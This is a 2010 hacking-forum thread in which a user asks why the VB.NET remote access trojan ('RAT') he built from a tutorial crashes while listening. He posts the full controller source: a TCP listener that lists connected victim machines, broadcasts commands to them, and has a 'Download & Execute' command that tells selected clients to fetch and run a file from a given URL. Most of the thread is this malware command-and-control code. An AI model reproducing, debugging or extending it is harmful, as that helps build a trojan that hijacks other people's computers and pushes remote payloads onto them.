![]() |
|
[VB.NET]Problem with my "rat" - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: Visual Basic & .NET Framework (https://sinister.ly/Forum-Visual-Basic-NET-Framework) +--- Thread: [VB.NET]Problem with my "rat" (/Thread-VB-NET-Problem-with-my-rat) |
[VB.NET]Problem with my "rat" - 1llusion - 12-18-2010 [hide] Hello! I have recently started to code a "RAT" using xSilent's video tutorial. I learned quite a bit from it, but I get this error when I test the "RAT" The error: When I start to listen the program crashes. This happened after some change I did. I dont remember the change coz I was sleepy while doing it and cant find it now O.o Before that, the server didnt connect to my client. I think the problem is at client so Ill post it here. If you need the server also, Ill post it too ![]() Form1: Code: Imports System.Net.Sockets
Imports System.Net
Imports System.Threading
Public Class Form1
Dim Listener As TcpListener
Dim ListenerThread As Thread
Dim port As Integer = 81
Dim online As Integer = 0
Sub Listen()
Listener = New TcpListener(IPAddress.Any, port)
Listener.Start()
While (True)
Dim c As New Connection(Listener.AcceptTcpClient())
AddHandler c.GotInfo, AddressOf GotInfo
AddHandler c.Disconnected, AddressOf Disconnected
End While
End Sub
Sub GotInfo(ByVal client As Connection, ByVal Msg As String)
Try
Dim cut() As String = Msg.Split("|")
Select Case cut(0)
Case "CONNECTED"
Invoke(New AddDelegate(AddressOf AddClient), client, New String() {client.IPAdress, cut(1), cut(2)})
Case "STATUS"
Invoke(New UpdateStatusDelegate(AddressOf UpdateStatus), client, cut(1))
End Select
Catch ex As Exception
Console.WriteLine(ex.Message)
End Try
End Sub
Private Sub ListenToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles ListenToolStripMenuItem.Click
ListenerThread = New Thread(AddressOf Listen)
ListenerThread.IsBackground = True
ListenerThread.Start()
End Sub
Private Sub StopToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles StopToolStripMenuItem.Click
ListenerThread.Abort()
Listener.Stop()
Cleanup()
End Sub
Sub Cleanup()
listClients.Items.Clear()
End Sub
Delegate Sub AddDelegate(ByVal client As Connection, ByVal strings() As String)
Sub AddClient(ByVal client As Connection, ByVal strings() As String)
Dim l As New ListViewItem(strings)
l.Tag = client
online += 1
txtOnline.Text = "Online: " & online
listClients.Items.Add(l)
End Sub
Delegate Sub DisconnectedDelegate(ByVal client As Connection)
Sub Disconnected(ByVal client As Connection)
Invoke(New DisconnectedDelegate(AddressOf Remove), Client)
End Sub
Sub Remove(ByVal Client As Connection)
For Each item As ListViewItem In listClients.Items
If item.Text = Client.IPAdress Then
online -= 1
txtOnline.Text = "Online: " & online
item.Remove()
Exit For
End If
Next
End Sub
Delegate Sub UpdateStatusDelegate(ByVal client As Connection, ByVal Message As String)
Sub UpdateStatus(ByVal client As Connection, ByVal Message As String)
For Each item As ListViewItem In listClients.Items
If item.Text = client.IPAdress Then
item.SubItems(2).Text = Message
End If
Next
End Sub
Sub SendToAll(ByVal Message As String)
For Each item As ListViewItem In listClients.Items
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
c.Send(Message)
Catch ex As Exception
Console.WriteLine(ex.Message)
End Try
Next
End Sub
Sub SendToSelected(ByVal Message As String)
For Each item As ListViewItem In listClients.SelectedItems
Try
Dim c As Connection = DirectCast(item.Tag, Connection)
c.Send(Message)
Catch ex As Exception
Console.WriteLine(ex.Message)
End Try
Next
End Sub
Private Sub DownloadExecuteToolStripMenuItem_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles DownloadExecuteToolStripMenuItem.Click
If DL.ShowDialog() = Windows.Forms.DialogResult.OK Then
SendToSelected("DL|" & DL.URL)
End If
End Sub
End ClassConnection.vb (a class): Code: Imports System.Net, System.Net.Sockets, System.IO
Public Class Connection
Private client As TcpClient
Private IP As String
Public Event GotInfo(ByVal Client As Connection, ByVal Message As String)
Public Event Disconnected(ByVal Client As Connection)
Sub New(ByVal client As TcpClient)
Me.client = client
client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
IP = client.Client.RemoteEndPoint.ToString().Remove(client.Client.RemoteEndPoint.ToString().LastIndexOf(":"))
End Sub
Sub Read(ByVal ar As IAsyncResult)
Dim Message As String
Try
Dim Reader As New StreamReader(client.GetStream())
Message = Reader.ReadLine()
RaiseEvent GotInfo(Me, Message)
client.GetStream().BeginRead(New Byte() {0}, 0, 0, AddressOf Read, Nothing)
Catch ex As Exception
RaiseEvent Disconnected(Me)
End Try
End Sub
Public Sub Send(ByVal Message As String)
Try
Dim Writer As New StreamWriter(Client.GetStream())
Writer.WriteLine(Message)
Writer.Flush()
Catch ex As Exception
Console.WriteLine(ex.Message)
End Try
End Sub
Public ReadOnly Property IPAdress
Get
Return IP
End Get
End Property
End ClassThanks for any kind of help!!! Have a nice day! 1llusion Creds to: xSilent from HF [/hide] RE: [VB.NET]Problem with my "rat" - 1llusion - 12-18-2010 Yep I did. I think the problem is that it accepts the connection, but it doesnt show it. Because it does listen to the port. I have tryed to compare it with albertino source, but as you have sayd, its pretty much complicated. Other source I got was using completely different connection. Thanks for reply! |